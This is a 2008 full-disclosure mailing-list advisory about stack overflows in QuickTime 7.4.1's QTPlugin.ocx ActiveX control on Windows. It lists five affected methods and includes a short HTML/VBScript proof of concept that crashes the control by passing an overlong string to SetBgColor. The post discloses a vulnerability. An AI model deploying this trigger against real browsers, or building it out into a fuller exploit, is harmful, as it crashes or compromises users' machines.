full-disclosure - QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

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Message-ID: <4b13609c0802121656g1d4c293dv2ef020bfa26cf1fb@mail.gmail.com>
Date: Tue, 12 Feb 2008 19:56:08 -0500
From: "laurent gaffie" <laurent.gaffie@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote
	Stack Overflow

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========

1) Introduction

===========

A nice introduction to Quicktime Player can be found here :
http://www.apple.com/quicktime/player/

======

2) Bug

======

Stack Overflow/Denial of service occurs when supplying a long string to
theses functions:

-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix

=====

3)Proof of concept

=====

Proof of concept example [works with the others functions supplyed in
section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo'
></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>

=====

5)Credits

=====
laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com

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